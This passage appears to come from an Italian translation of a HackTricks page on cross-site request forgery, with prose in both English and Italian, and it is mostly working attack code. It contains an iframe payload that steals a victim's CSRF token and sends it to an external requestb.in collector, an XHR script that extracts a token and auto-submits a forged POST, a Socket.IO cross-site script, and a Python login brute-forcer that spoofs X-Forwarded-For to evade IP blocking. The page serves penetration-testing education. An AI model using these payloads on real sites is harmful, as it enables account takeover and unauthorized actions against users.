By using this technique, an attacker can trick a user into visiting the malicious website, which will then steal their CSRF token and use it to perform actions on their behalf without their knowledge or consent. It is important for website developers to implement proper CSRF protection mechanisms to prevent such attacks.
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTRubare il token CSRF con Ajax e inviare una richiesta POST con un modulo
Sometimes, web applications use CSRF tokens to protect against cross-site request forgery attacks. These tokens are typically included in HTML forms and are validated by the server to ensure that the request is legitimate.
In some cases, it may be possible to steal the CSRF token using an Ajax request and then use it to craft a malicious POST request. Here's how it can be done:
-
Use an Ajax request to retrieve the HTML content of the page that contains the CSRF token. This can be done by sending a GET request to the page URL and parsing the response.
-
Extract the CSRF token from the HTML content. This can be done using regular expressions or by parsing the HTML DOM.
-
Craft a malicious POST request with the stolen CSRF token. This can be done by creating a form element dynamically using JavaScript and setting the appropriate values, including the stolen CSRF token.
-
Submit the form using JavaScript. This will send the POST request with the stolen CSRF token to the server.
By stealing the CSRF token and crafting a malicious POST request, an attacker can perform actions on behalf of the victim user without their consent. This can lead to various security vulnerabilities, such as changing account settings, making unauthorized transactions, or even performing actions with administrative privileges.
It is important for web developers to implement proper CSRF protection mechanisms, such as using unique and unpredictable tokens, validating the tokens on the server side, and ensuring that the tokens are not leaked or exposed in any way.
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
CSRF con Socket.IO
Socket.IO è una libreria JavaScript che consente la comunicazione in tempo reale tra client e server tramite WebSocket. Tuttavia, Socket.IO non fornisce una protezione CSRF integrata come altre librerie o framework.
Per sfruttare una vulnerabilità CSRF con Socket.IO, l'attaccante deve ingannare l'utente a visitare un sito malevolo che esegue una richiesta Socket.IO verso il server di destinazione. Questo può essere fatto utilizzando tecniche di ingegneria sociale, come l'invio di un link malevolo tramite email o messaggi di testo.
Una volta che l'utente visita il sito malevolo, il codice JavaScript presente sulla pagina eseguirà una richiesta Socket.IO verso il server di destinazione, sfruttando la sessione attiva dell'utente. Poiché la richiesta viene inviata dal browser dell'utente, il server la considererà legittima e risponderà di conseguenza.
Per proteggere le applicazioni Socket.IO da attacchi CSRF, è possibile implementare misure di sicurezza come l'utilizzo di token CSRF o l'implementazione di controlli di origine (CORS) per limitare l'accesso ai socket solo da domini attendibili.
Tuttavia, è importante notare che Socket.IO non è vulnerabile a CSRF se viene utilizzato solo per comunicazioni interne all'applicazione e non viene esposto a domini esterni. In questi casi, è comunque consigliabile implementare misure di sicurezza per proteggere l'applicazione da altre minacce.
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
});
</script>
CSRF Login Brute Force
Il codice può essere utilizzato per effettuare un attacco di forza bruta su un modulo di accesso utilizzando un token CSRF (Viene anche utilizzato l'intestazione X-Forwarded-For per cercare di eludere un possibile blocco dell'IP):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
Strumenti
Riferimenti
- https://portswigger.net/web-security/csrf
- https://portswigger.net/web-security/csrf/bypassing-token-validation
- https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!
Hacking Insights
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
Notizie di Hacking in Tempo Reale
Resta aggiornato con il mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale
Ultime Novità
Rimani informato sul lancio delle nuove taglie di bug e sugli aggiornamenti cruciali della piattaforma
Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository github di HackTricks e HackTricks Cloud.